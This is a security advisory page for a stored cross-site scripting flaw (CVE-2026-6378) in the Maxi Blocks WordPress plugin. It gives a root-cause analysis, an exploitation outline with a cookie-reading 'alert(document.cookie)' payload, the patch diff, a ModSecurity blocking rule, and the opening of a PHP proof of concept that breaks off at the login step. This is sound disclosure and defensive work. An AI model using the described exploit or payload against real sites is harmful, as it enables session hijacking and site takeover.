Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2026-6378: Maxi Blocks <= 2.1.9 – Authenticated (Author+) Stored Cross-Site Scripting via Style Card REST API (maxi-blocks)

CVE ID CVE-2026-6378
Plugin maxi-blocks
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.1.9
Patched Version 2.1.10
Disclosed April 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6378:

This vulnerability is a Stored Cross-Site Scripting (XSS) issue in the Maxi Blocks plugin for WordPress, affecting all versions up to and including 2.1.9. It targets the `/wp-json/maxi-blocks/v1.0/style-card` REST API endpoint. The flaw allows authenticated attackers with Author-level access and above to inject arbitrary web scripts that execute on every page where the plugin’s style card styles are loaded, including across the entire WordPress admin panel. The CVSS score is 6.4, reflecting a medium to high severity due to the authenticated requirement but broad impact.

Root Cause: The vulnerability stems from insufficient input sanitization and output escaping of the `sc_styles` parameter in the REST API endpoint. In the file `maxi-blocks/core/class-maxi-api.php`, lines 979-982, the `sc_styles` data is stored directly into `_maxi_blocks_style_card_styles` and `_maxi_blocks_style_card_styles_preview` post meta without sanitization. Specifically, the code assigns `$data[‘sc_styles’]` directly, allowing arbitrary HTML and JavaScript to be persisted. The patch introduces `wp_strip_all_tags()` before storing the values. Additionally, in `maxi-blocks/core/class-maxi-style-cards.php`, line 199, the stored styles are loaded inline via `wp_add_inline_style` directly without sanitization, which is fixed with the same `wp_strip_all_tags()` call. The patch also adds comprehensive custom script handling features (new class `MaxiBlocks_Custom_Scripts`) with proper sanitization and capability checks, but the core issue is the missing stripping of HTML tags in the style card storage.

Exploitation: An authenticated attacker with Author-level access or higher sends a POST request to the `/wp-json/maxi-blocks/v1.0/style-card` REST API endpoint. The attacker includes a payload in the `sc_styles` parameter containing malicious JavaScript, such as `alert(document.cookie)`. Because the endpoint does not sanitize this input, the malicious script is stored in the database as part of the style card. When the plugin subsequently loads the style card styles (e.g., via an admin page or frontend page), it outputs the unsanitized `sc_styles` content directly into an inline “ tag or as raw output. This causes the injected JavaScript to execute in the browser of any user viewing a page that loads these styles, including administrators, allowing session hijacking or other actions.

Patch Analysis: The patch modifies `class-maxi-api.php` lines 979-982 and related condition blocks to wrap all assignments of `sc_styles` with `wp_strip_all_tags()`. This function strips all HTML and PHP tags from the input before storage, effectively preventing any HTML or JavaScript injection. The before state directly stored attacker-controlled HTML; the after state ensures only plain text or CSS (without tags) is stored. In `class-maxi-style-cards.php`, the `wp_add_inline_style` call now also uses `wp_strip_all_tags()` to sanitize the output. This dual-layer fix (sanitization at input and output) prevents the XSS from being stored or executed. The patch also introduces a new `MaxiBlocks_Custom_Scripts` class that provides proper sanitization via its `sanitize_scripts_code` method and capability checks for custom script injection, but that is a separate feature enhancement, not directly part of this fix.

Impact: Successful exploitation allows an authenticated attacker to inject arbitrary JavaScript into the administrative panel and any frontend pages using the style card. This can lead to session hijacking, where the attacker steals cookies or authentication tokens of other users (including administrators). The attacker can also perform actions on behalf of other users, such as creating new admin accounts, modifying posts, or installing malicious plugins. Because the script executes in the context of the affected site and admin panel, the impact is considered significant, potentially leading to full site compromise through privileged actions performed via the injected scripts.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/maxi-blocks/build/index.min.asset.php
+++ b/maxi-blocks/build/index.min.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-data-controls', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-dom-ready', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-reusable-blocks', 'wp-rich-text', 'wp-url'), 'version' => '8309095d18d88d28cb0d');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-data-controls', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-dom-ready', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-reusable-blocks', 'wp-rich-text', 'wp-url'), 'version' => 'f701a44cf2ae225c1f31');
--- a/maxi-blocks/core/admin/class-maxi-dashboard.php
+++ b/maxi-blocks/core/admin/class-maxi-dashboard.php
@@ -1350,6 +1350,56 @@
                 '</p>';
             $content .= $this->generate_setting($description, 'hide_gutenberg_responsive_preview');

+            $description =
+                '<h4>' . __('Global header scripts and styles', 'maxi-blocks') . '</h4>';
+            $description .=
+                '<p>' .
+                __('Add code that loads on all front-end pages in the <head> tag. Wrap JavaScript in <script> tags and CSS in <style> tags. Useful for analytics, tracking codes, and custom CSS.', 'maxi-blocks') .
+                '</p>';
+            $content .= $this->generate_setting(
+                $description,
+                'maxi_custom_js_header_option',
+                '',
+                'textarea',
+            );
+
+            $description =
+                '<h4>' . __('Global footer scripts and styles', 'maxi-blocks') . '</h4>';
+            $description .=
+                '<p>' .
+                __('Add code that loads on all front-end pages before the closing </body> tag. Wrap JavaScript in <script> tags and CSS in <style> tags.', 'maxi-blocks') .
+                '</p>';
+            $content .= $this->generate_setting(
+                $description,
+                'maxi_custom_js_footer_option',
+                '',
+                'textarea',
+            );
+
+            $description =
+                '<h4>' . __('Admin (wp-admin) scripts and styles', 'maxi-blocks') . '</h4>';
+            $description .=
+                '<p>' .
+                __('Add code that loads on all wp-admin pages. Wrap JavaScript in <script> tags and CSS in <style> tags. Only visible to logged-in users with admin access.', 'maxi-blocks') .
+                '</p>';
+            $content .= $this->generate_setting(
+                $description,
+                'maxi_custom_js_admin_option',
+                '',
+                'textarea',
+            );
+
+            $description =
+                '<h4>' . __('Enable per-post/page custom scripts', 'maxi-blocks') . '</h4>';
+            $description .=
+                '<p>' .
+                __('Show a meta box on individual post and page edit screens to add custom header/footer scripts and styles for that post or page only. When disabled, any previously saved per-post/page scripts are also suppressed on the frontend.', 'maxi-blocks') .
+                '</p>';
+            $content .= $this->generate_setting(
+                $description,
+                'maxi_enable_post_custom_scripts',
+            );
+
             $content .= get_submit_button(__('Save changes', 'maxi-blocks'));
             $this->add_hidden_api_fields();

@@ -2172,7 +2222,8 @@
                 str_replace('_', '-', $option) . '-visible-input';

             if ($type === 'textarea') {
-                $visible_input = "<textarea name="{$option}" id="{$option}" class="maxi-dashboard_main-content_accordion-item-input regular-text">{$input_value}</textarea>";
+                $escaped_value = esc_textarea($input_value);
+                $visible_input = "<textarea name="{$option}" id="{$option}" class="maxi-dashboard_main-content_accordion-item-input regular-text">{$escaped_value}</textarea>";
             } else {
                 // Always keep the name attribute for all inputs
                 $visible_input = "<input name="{$option}" id="{$option}" class="maxi-dashboard_main-content_accordion-item-input regular-text {$visible_input_class}" type="{$type}" value="{$input_value}"/>";
@@ -2381,6 +2432,13 @@
                 'type' => 'string',
                 'sanitize_callback' => 'sanitize_text_field',
             ];
+            $args_custom_js = [
+                'type' => 'string',
+                'sanitize_callback' => [
+                    'MaxiBlocks_Custom_Scripts',
+                    'sanitize_scripts_code',
+                ],
+            ];

             // List of settings and corresponding arguments
             $settings = [
@@ -2393,6 +2451,10 @@
                 'hide_tooltips' => $args,
                 'hide_fse_resizable_handles' => $args_true,
                 'hide_gutenberg_responsive_preview' => $args_true,
+                'maxi_custom_js_header_option' => $args_custom_js,
+                'maxi_custom_js_footer_option' => $args_custom_js,
+                'maxi_custom_js_admin_option' => $args_custom_js,
+                'maxi_enable_post_custom_scripts' => $args,
                 'google_api_key_option' => $args_api_key,
                 'openai_api_key_option' => $args_api_key,
                 'maxi_ai_model' => $args_ai_model,
--- a/maxi-blocks/core/class-maxi-api.php
+++ b/maxi-blocks/core/class-maxi-api.php
@@ -976,15 +976,15 @@
                 $new_style_card = [
                     '_maxi_blocks_style_card' => $data['sc_variables'],
                     '_maxi_blocks_style_card_preview' => $data['sc_variables'],
-                    '_maxi_blocks_style_card_styles' => $data['sc_styles'],
+                    '_maxi_blocks_style_card_styles' => wp_strip_all_tags($data['sc_styles']),
                     '_maxi_blocks_style_card_styles_preview' =>
-                        $data['sc_styles'],
+                        wp_strip_all_tags($data['sc_styles']),
                 ];
             } else {
                 $new_style_card['_maxi_blocks_style_card_preview'] =
                     $data['sc_variables'];
                 $new_style_card['_maxi_blocks_style_card_styles_preview'] =
-                    $data['sc_styles'];
+                    wp_strip_all_tags($data['sc_styles']);

                 if (
                     $style_card !== '' &&
@@ -1007,7 +1007,7 @@
                             $data['sc_variables'];
                         if (array_key_exists('sc_styles', $data)) {
                             $new_style_card['_maxi_blocks_style_card_styles'] =
-                                $data['sc_styles'];
+                                wp_strip_all_tags($data['sc_styles']);
                         }
                     } elseif ($data instanceof WP_REST_Request) {
                         if ($data->has_param('sc_variables')) {
@@ -1018,7 +1018,7 @@
                         if ($data->has_param('sc_styles')) {
                             $new_style_card[
                                 '_maxi_blocks_style_card_styles'
-                            ] = $data->get_param('sc_styles');
+                            ] = wp_strip_all_tags($data->get_param('sc_styles'));
                         }
                     }
                 }
--- a/maxi-blocks/core/class-maxi-blocks.php
+++ b/maxi-blocks/core/class-maxi-blocks.php
@@ -178,6 +178,7 @@
                 'bunny_fonts' => get_option('bunny_fonts'),
                 'apiRoot' => esc_url_raw(rest_url()),
                 'image_crop_nonce' => wp_create_nonce('maxi_image_crop'),
+                'pluginUrl' => MAXI_PLUGIN_URL_PATH,
             ]);

             // Inject MaxiBlocks settings directly to avoid API calls
--- a/maxi-blocks/core/class-maxi-custom-scripts.php
+++ b/maxi-blocks/core/class-maxi-custom-scripts.php
@@ -0,0 +1,489 @@
+<?php
+/**
+ * MaxiBlocks Custom Scripts Class
+ *
+ * @since   2.1.9
+ * @package MaxiBlocks
+ */
+
+if (!defined('ABSPATH')) {
+    exit();
+}
+
+if (!class_exists('MaxiBlocks_Custom_Scripts')):
+    class MaxiBlocks_Custom_Scripts
+    {
+        private static $instance;
+
+        public static function register()
+        {
+            if (null === self::$instance) {
+                self::$instance = new MaxiBlocks_Custom_Scripts();
+            }
+        }
+
+        public function __construct()
+        {
+            add_action('init', [$this, 'register_post_meta_fields']);
+            add_action('add_meta_boxes', [$this, 'register_meta_boxes']);
+            add_action('save_post', [$this, 'save_post_scripts_meta']);
+            add_action('enqueue_block_editor_assets', [$this, 'enqueue_block_editor_assets']);
+
+            add_action('wp_head', [$this, 'render_header_scripts'], 1);
+            add_action('wp_footer', [$this, 'render_footer_scripts'], 999);
+            add_action('admin_head', [$this, 'render_admin_scripts']);
+
+            add_filter('manage_post_posts_columns', [$this, 'add_custom_scripts_column']);
+            add_filter('manage_page_posts_columns', [$this, 'add_custom_scripts_column']);
+            add_action('manage_post_posts_custom_column', [$this, 'render_custom_scripts_column'], 10, 2);
+            add_action('manage_page_posts_custom_column', [$this, 'render_custom_scripts_column'], 10, 2);
+
+            add_action('quick_edit_custom_box', [$this, 'quick_edit_fields'], 10, 2);
+            add_action('admin_footer-edit.php', [$this, 'quick_edit_script']);
+            add_action('save_post', [$this, 'save_quick_edit_fields']);
+        }
+
+        public static function sanitize_scripts_code($value)
+        {
+            if (!is_string($value)) {
+                return '';
+            }
+
+            // This field is restricted to users with unfiltered_html or
+            // manage_options capability (see auth_callback and
+            // can_edit_custom_scripts).  These users can already insert
+            // arbitrary HTML/JS in WordPress, so heavy HTML-level
+            // sanitisation (wp_kses) is unnecessary and would mangle
+            // legitimate JavaScript (e.g. comparison operators, template
+            // literals).  We trim whitespace and ensure the value is a
+            // valid UTF-8 string.
+            return trim(wp_check_invalid_utf8($value, true));
+        }
+
+        private static function can_edit_custom_scripts()
+        {
+            return current_user_can('unfiltered_html') || current_user_can('manage_options');
+        }
+
+        public function register_post_meta_fields()
+        {
+            $args = [
+                'type' => 'string',
+                'single' => true,
+                'show_in_rest' => true,
+                'sanitize_callback' => [__CLASS__, 'sanitize_scripts_code'],
+                'auth_callback' => function () {
+                    return self::can_edit_custom_scripts();
+                },
+            ];
+
+            register_post_meta('post', '_maxi_custom_js_header', $args);
+            register_post_meta('post', '_maxi_custom_js_footer', $args);
+            register_post_meta('page', '_maxi_custom_js_header', $args);
+            register_post_meta('page', '_maxi_custom_js_footer', $args);
+        }
+
+        public function enqueue_block_editor_assets()
+        {
+            $screen = get_current_screen();
+            if (!$screen || !in_array($screen->post_type, ['post', 'page'], true)) {
+                return;
+            }
+
+            $script = <<<'JS'
+(function() {
+    if (!window.wp || !wp.data || !wp.data.select || !wp.data.dispatch) {
+        return;
+    }
+
+    var select = wp.data.select('core/editor');
+    var dispatch = wp.data.dispatch('core/editor');
+    if (!select || !dispatch || typeof dispatch.editPost !== 'function' || typeof select.getCurrentPostType !== 'function') {
+        return;
+    }
+
+    if (!select.getCurrentPostType()) {
+        return;
+    }
+
+    var timeout;
+    var observer = null;
+    var listenersBound = false;
+
+    var bindScriptFields = function() {
+        if (listenersBound) {
+            return true;
+        }
+
+        var headerField = document.querySelector('textarea[name="maxi_custom_js_header"]');
+        var footerField = document.querySelector('textarea[name="maxi_custom_js_footer"]');
+        if (!headerField || !footerField) {
+            return false;
+        }
+
+        var isSaving = function() {
+            var saving = select.isSavingPost && select.isSavingPost();
+            var autosaving = select.isAutosavingPost && select.isAutosavingPost();
+            return saving || autosaving;
+        };
+
+        var sync = function() {
+            if (isSaving()) {
+                return;
+            }
+            dispatch.editPost({
+                meta: {
+                    _maxi_custom_js_header: headerField.value,
+                    _maxi_custom_js_footer: footerField.value
+                }
+            });
+        };
+
+        var debouncedSync = function() {
+            if (isSaving()) {
+                return;
+            }
+            clearTimeout(timeout);
+            timeout = setTimeout(sync, 200);
+        };
+
+        headerField.addEventListener('input', debouncedSync);
+        footerField.addEventListener('input', debouncedSync);
+        listenersBound = true;
+        return true;
+    };
+
+    if (bindScriptFields()) {
+        return;
+    }
+
+    if (!document.body || typeof MutationObserver === 'undefined') {
+        return;
+    }
+
+    observer = new MutationObserver(function() {
+        if (bindScriptFields() && observer) {
+            observer.disconnect();
+        }
+    });
+
+    observer.observe(document.body, { childList: true, subtree: true });
+
+    setTimeout(function() {
+        if (observer && !listenersBound) {
+            observer.disconnect();
+        }
+    }, 30000);
+})();
+JS;
+
+            wp_add_inline_script('wp-edit-post', $script, 'after');
+        }
+
+        private function get_request_value($meta_key, $field_name)
+        {
+            if (
+                isset($_POST['meta']) &&
+                is_array($_POST['meta']) &&
+                array_key_exists($meta_key, $_POST['meta'])
+            ) {
+                return $_POST['meta'][$meta_key];
+            }
+
+            if (array_key_exists($field_name, $_POST)) {
+                return $_POST[$field_name];
+            }
+
+            return null;
+        }
+
+        public function save_post_scripts_meta($post_id)
+        {
+            if (defined('REST_REQUEST') && REST_REQUEST) {
+                return;
+            }
+
+            if (!isset($_POST['maxi_custom_scripts_nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['maxi_custom_scripts_nonce'])), 'maxi_custom_scripts_meta_box')) {
+                return;
+            }
+
+            if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {
+                return;
+            }
+
+            if (wp_is_post_revision($post_id) || wp_is_post_autosave($post_id)) {
+                return;
+            }
+
+            if (!current_user_can('edit_post', $post_id)) {
+                return;
+            }
+
+            if (!self::can_edit_custom_scripts()) {
+                return;
+            }
+
+            $header_raw = $this->get_request_value(
+                '_maxi_custom_js_header',
+                'maxi_custom_js_header',
+            );
+            $footer_raw = $this->get_request_value(
+                '_maxi_custom_js_footer',
+                'maxi_custom_js_footer',
+            );
+
+            if (null === $header_raw && null === $footer_raw) {
+                return;
+            }
+
+            $header_value = is_string($header_raw) ? (string) wp_unslash($header_raw) : '';
+            $footer_value = is_string($footer_raw) ? (string) wp_unslash($footer_raw) : '';
+
+            $header_script = self::sanitize_scripts_code($header_value);
+            $footer_script = self::sanitize_scripts_code($footer_value);
+
+            if ('' === trim($header_script)) {
+                delete_post_meta($post_id, '_maxi_custom_js_header');
+            } else {
+                update_post_meta($post_id, '_maxi_custom_js_header', $header_script);
+            }
+
+            if ('' === trim($footer_script)) {
+                delete_post_meta($post_id, '_maxi_custom_js_footer');
+            } else {
+                update_post_meta($post_id, '_maxi_custom_js_footer', $footer_script);
+            }
+        }
+
+        public function register_meta_boxes()
+        {
+            if (!get_option('maxi_enable_post_custom_scripts')) {
+                return;
+            }
+
+            add_meta_box(
+                'maxi-custom-scripts',
+                __('MaxiBlocks custom scripts and styles', 'maxi-blocks'),
+                [$this, 'render_meta_box'],
+                ['post', 'page'],
+                'normal',
+                'default',
+            );
+        }
+
+        public function render_meta_box($post)
+        {
+            wp_nonce_field('maxi_custom_scripts_meta_box', 'maxi_custom_scripts_nonce');
+
+            $header_script = get_post_meta($post->ID, '_maxi_custom_js_header', true);
+            $footer_script = get_post_meta($post->ID, '_maxi_custom_js_footer', true);
+
+            echo '<p><strong>' . esc_html__('Header scripts and styles', 'maxi-blocks') . '</strong></p>';
+            echo '<p>' . esc_html__('Add code for this post/page only. Printed in the <head>. Wrap JavaScript in <script> tags and CSS in <style> tags.', 'maxi-blocks') . '</p>';
+            echo '<textarea name="maxi_custom_js_header" rows="6" style="width:100%;">' . esc_textarea($header_script) . '</textarea>';
+
+            echo '<p><strong>' . esc_html__('Footer scripts and styles', 'maxi-blocks') . '</strong></p>';
+            echo '<p>' . esc_html__('Add code for this post/page only. Printed before </body>. Wrap JavaScript in <script> tags and CSS in <style> tags.', 'maxi-blocks') . '</p>';
+            echo '<textarea name="maxi_custom_js_footer" rows="6" style="width:100%;">' . esc_textarea($footer_script) . '</textarea>';
+        }
+
+        public function render_header_scripts()
+        {
+            if (is_admin()) {
+                return;
+            }
+
+            $global_header_scripts = get_option('maxi_custom_js_header_option', '');
+            if (!empty($global_header_scripts)) {
+                echo "n<!-- MaxiBlocks custom header scripts -->n";
+                echo $global_header_scripts; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+                echo "n";
+            }
+
+            if (get_option('maxi_enable_post_custom_scripts') && is_singular(['post', 'page'])) {
+                $post_id = get_queried_object_id();
+                if (!$post_id) {
+                    return;
+                }
+
+                $post_script = get_post_meta($post_id, '_maxi_custom_js_header', true);
+                if (!empty($post_script)) {
+                    echo "n<!-- MaxiBlocks post/page header scripts -->n";
+                    echo $post_script; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+                    echo "n";
+                }
+            }
+        }
+
+        public function render_footer_scripts()
+        {
+            if (is_admin()) {
+                return;
+            }
+
+            $global_footer_scripts = get_option('maxi_custom_js_footer_option', '');
+            if (!empty($global_footer_scripts)) {
+                echo "n<!-- MaxiBlocks custom footer scripts -->n";
+                echo $global_footer_scripts; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+                echo "n";
+            }
+
+            if (get_option('maxi_enable_post_custom_scripts') && is_singular(['post', 'page'])) {
+                $post_id = get_queried_object_id();
+                if (!$post_id) {
+                    return;
+                }
+
+                $post_script = get_post_meta($post_id, '_maxi_custom_js_footer', true);
+                if (!empty($post_script)) {
+                    echo "n<!-- MaxiBlocks post/page footer scripts -->n";
+                    echo $post_script; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+                    echo "n";
+                }
+            }
+        }
+
+        public function render_admin_scripts()
+        {
+            if (!current_user_can('manage_options')) {
+                return;
+            }
+
+            $admin_scripts = get_option('maxi_custom_js_admin_option', '');
+            if (!empty($admin_scripts)) {
+                echo "n<!-- MaxiBlocks custom admin scripts -->n";
+                echo $admin_scripts; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+                echo "n";
+            }
+        }
+
+        public function add_custom_scripts_column($columns)
+        {
+            $columns['maxi_custom_scripts'] = __('Maxi scripts/styles', 'maxi-blocks');
+            return $columns;
+        }
+
+        public function render_custom_scripts_column($column, $post_id)
+        {
+            if ('maxi_custom_scripts' !== $column) {
+                return;
+            }
+
+            $header = get_post_meta($post_id, '_maxi_custom_js_header', true);
+            $footer = get_post_meta($post_id, '_maxi_custom_js_footer', true);
+
+            $status = [];
+            if (!empty($header)) {
+                $status[] = __('Header', 'maxi-blocks');
+            }
+            if (!empty($footer)) {
+                $status[] = __('Footer', 'maxi-blocks');
+            }
+
+            echo '<span class="maxi-custom-scripts-status">' . esc_html(!empty($status) ? implode(' / ', $status) : __('None', 'maxi-blocks')) . '</span>';
+            echo '<div class="hidden" id="maxi-custom-scripts-inline-' . esc_attr((string) $post_id) . '">';
+            echo '<textarea class="maxi-inline-header">' . esc_textarea($header) . '</textarea>';
+            echo '<textarea class="maxi-inline-footer">' . esc_textarea($footer) . '</textarea>';
+            echo '</div>';
+        }
+
+        public function quick_edit_fields($column_name, $post_type)
+        {
+            if ('maxi_custom_scripts' !== $column_name || !in_array($post_type, ['post', 'page'], true)) {
+                return;
+            }
+
+            wp_nonce_field('maxi_quick_edit_scripts', 'maxi_quick_edit_scripts_nonce');
+
+            echo '<fieldset class="inline-edit-col-right">';
+            echo '<div class="inline-edit-col">';
+            echo '<label>';
+            echo '<span class="title">' . esc_html__('Header scripts and styles', 'maxi-blocks') . '</span>';
+            echo '<textarea name="maxi_quick_custom_js_header" rows="3"></textarea>';
+            echo '</label>';
+            echo '<label>';
+            echo '<span class="title">' . esc_html__('Footer scripts and styles', 'maxi-blocks') . '</span>';
+            echo '<textarea name="maxi_quick_custom_js_footer" rows="3"></textarea>';
+            echo '</label>';
+            echo '</div>';
+            echo '</fieldset>';
+        }
+
+        public function quick_edit_script()
+        {
+            $screen = get_current_screen();
+            if (!$screen || !in_array($screen->post_type, ['post', 'page'], true)) {
+                return;
+            }
+            ?>
+            <script>
+                (function() {
+                    if (typeof window.jQuery === 'undefined' || typeof window.inlineEditPost === 'undefined' || typeof window.inlineEditPost.edit !== 'function') {
+                        return;
+                    }
+
+                    (function($) {
+                        const wpInlineEditFunction = inlineEditPost.edit;
+                        inlineEditPost.edit = function(postId) {
+                            wpInlineEditFunction.apply(this, arguments);
+                            let id = 0;
+                            if (typeof(postId) === 'object') {
+                                id = parseInt(this.getId(postId), 10);
+                            }
+
+                            if (id > 0) {
+                                const $editRow = $('#edit-' + id);
+                                const $inlineData = $('#maxi-custom-scripts-inline-' + id);
+
+                                if ($inlineData.length) {
+                                    $editRow.find('textarea[name="maxi_quick_custom_js_header"]').val($inlineData.find('.maxi-inline-header').val());
+                                    $editRow.find('textarea[name="maxi_quick_custom_js_footer"]').val($inlineData.find('.maxi-inline-footer').val());
+                                }
+                            }
+                        };
+                    })(window.jQuery);
+                })();
+            </script>
+            <?php
+        }
+
+        public function save_quick_edit_fields($post_id)
+        {
+            if (!isset($_POST['maxi_quick_edit_scripts_nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['maxi_quick_edit_scripts_nonce'])), 'maxi_quick_edit_scripts')) {
+                return;
+            }
+
+            if (!current_user_can('edit_post', $post_id)) {
+                return;
+            }
+
+            if (!self::can_edit_custom_scripts()) {
+                return;
+            }
+
+            if (!isset($_POST['maxi_quick_custom_js_header']) || !isset($_POST['maxi_quick_custom_js_footer'])) {
+                return;
+            }
+
+            $header_raw = wp_unslash($_POST['maxi_quick_custom_js_header']);
+            $footer_raw = wp_unslash($_POST['maxi_quick_custom_js_footer']);
+            $header_value = is_string($header_raw) ? $header_raw : '';
+            $footer_value = is_string($footer_raw) ? $footer_raw : '';
+
+            $header_script = self::sanitize_scripts_code($header_value);
+            $footer_script = self::sanitize_scripts_code($footer_value);
+
+            if ('' === trim($header_script)) {
+                delete_post_meta($post_id, '_maxi_custom_js_header');
+            } else {
+                update_post_meta($post_id, '_maxi_custom_js_header', $header_script);
+            }
+
+            if ('' === trim($footer_script)) {
+                delete_post_meta($post_id, '_maxi_custom_js_footer');
+            } else {
+                update_post_meta($post_id, '_maxi_custom_js_footer', $footer_script);
+            }
+        }
+    }
+endif;
--- a/maxi-blocks/core/class-maxi-image-crop.php
+++ b/maxi-blocks/core/class-maxi-image-crop.php
@@ -125,7 +125,7 @@
     {
         check_ajax_referer('maxi_image_crop', 'nonce');

-        if (!current_user_can('edit_posts')) {
+        if (!current_user_can('delete_others_posts')) {
             wp_die(esc_html__('You do not have sufficient permissions to access this page.', 'maxi-blocks'));
         }
         if (isset($_POST['old_media_src'])) {//phpcs:ignore
--- a/maxi-blocks/core/class-maxi-style-cards.php
+++ b/maxi-blocks/core/class-maxi-style-cards.php
@@ -196,7 +196,7 @@
             if ($styles) {
                 wp_register_style('maxi-blocks-sc-styles', false, [], MAXI_PLUGIN_VERSION);
                 wp_enqueue_style('maxi-blocks-sc-styles');
-                wp_add_inline_style('maxi-blocks-sc-styles', $styles);
+                wp_add_inline_style('maxi-blocks-sc-styles', wp_strip_all_tags($styles));
             }
         }

--- a/maxi-blocks/core/class-maxi-styles.php
+++ b/maxi-blocks/core/class-maxi-styles.php
@@ -162,6 +162,7 @@
                 'map',
                 'accordion',
                 'slider',
+                'row-carousel',
                 'email-obfuscate'
             ];

@@ -210,8 +211,8 @@

                         $result_decoded = $result[$js_var];

-                        // TODO: This is a temporary solution to fix the issue with the bg_video, scroll_effects and slider meta
-                        if (in_array($js_var, ['bg_video', 'scroll_effects', 'slider'])) {
+                        // TODO: This is a temporary solution to fix the issue with the bg_video, scroll_effects, slider and row_carousel meta
+                        if (in_array($js_var, ['bg_video', 'scroll_effects', 'slider', 'row_carousel'])) {
                             $template_parts_meta = array_merge($template_parts_meta, [true]);
                         } elseif (is_array($result_decoded) && !empty($result_decoded)) {
                             $template_parts_meta = array_merge($template_parts_meta, $result_decoded);
@@ -1114,8 +1115,8 @@

         $result_decoded = $result[$metaJs];

-        // TODO: This is a temporary solution to fix the issue with the bg_video, scroll_effects and slider meta
-        if (in_array($metaJs, ['bg_video', 'scroll_effects', 'slider'])) {
+        // TODO: This is a temporary solution to fix the issue with the bg_video, scroll_effects, slider and row_carousel meta
+        if (in_array($metaJs, ['bg_video', 'scroll_effects', 'slider', 'row_carousel'])) {
             return [ true ];
         }

@@ -1457,6 +1458,7 @@
                 'map',
                 'accordion',
                 'slider',
+                'row-carousel',
                 'navigation',
                 'email-obfuscate',
             ];
@@ -1469,6 +1471,7 @@
                 'relations' => true,
                 'navigation' => true,
                 'email-obfuscate' => true,
+                'row-carousel' => true,
             ];

             $script_configs = [];
--- a/maxi-blocks/plugin.php
+++ b/maxi-blocks/plugin.php
@@ -6,7 +6,7 @@
  * Description: A powerful page builder for WordPress Gutenberg with a vast library of free web templates, icons & patterns. Open source and free to build. Anything you create with MaxiBlocks is yours to keep. There's no lock-in, no domain restrictions or license keys to keep track of. All blocks and features are free to use. Save time, get advanced designs & more with the Pro cloud library upgrade.
  * Author: MaxiBlocks
  * Author URI: https://maxiblocks.com/go/plugin-author
- * Version: 2.1.9
+ * Version: 2.1.10
  * Requires at least: 6.2.2
  * Requires PHP: 8.0
  * License: GPLv3 or later
@@ -264,6 +264,14 @@
 }

 //======================================================================
+// MaxiBlocks Custom Scripts
+//======================================================================
+require_once MAXI_PLUGIN_DIR_PATH . 'core/class-maxi-custom-scripts.php';
+if (class_exists('MaxiBlocks_Custom_Scripts')) {
+    MaxiBlocks_Custom_Scripts::register();
+}
+
+//======================================================================
 // MaxiBlocks DB
 //======================================================================
 require_once MAXI_PLUGIN_DIR_PATH . 'core/class-maxi-db.php';

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-6378
# Rule targets the vulnerable REST API endpoint and blocks attempts to inject HTML/JS tags into sc_styles parameter

SecRule REQUEST_URI "@rx ^/wp-json/maxi-blocks/v1.0/style-card$" 
  "id:20266378,phase:2,deny,status:403,chain,msg:'CVE-2026-6378 - Maxi Blocks Stored XSS via Style Card REST API',severity:'CRITICAL',tag:'CVE-2026-6378',tag:'wordpress',tag:'maxi-blocks'"
  SecRule ARGS_POST:sc_styles "@rx <[^>]*>" 
    "t:none,chain"
    SecRule REQUEST_METHOD "@streq POST" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6378 - Maxi Blocks <= 2.1.9 - Authenticated (Author+) Stored Cross-Site Scripting via Style Card REST API

// Configuration - set these values
$target_url = 'http://example.com'; // Target WordPress site URL (no trailing slash)
$username = 'author_user';           // Authenticated user with Author-level or higher access
$password = 'author_password';       // Password for the user

// Step 1: Authenticate to get cookies and nonces
$login_url = $target_url . '/wp-login.php';
$post_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
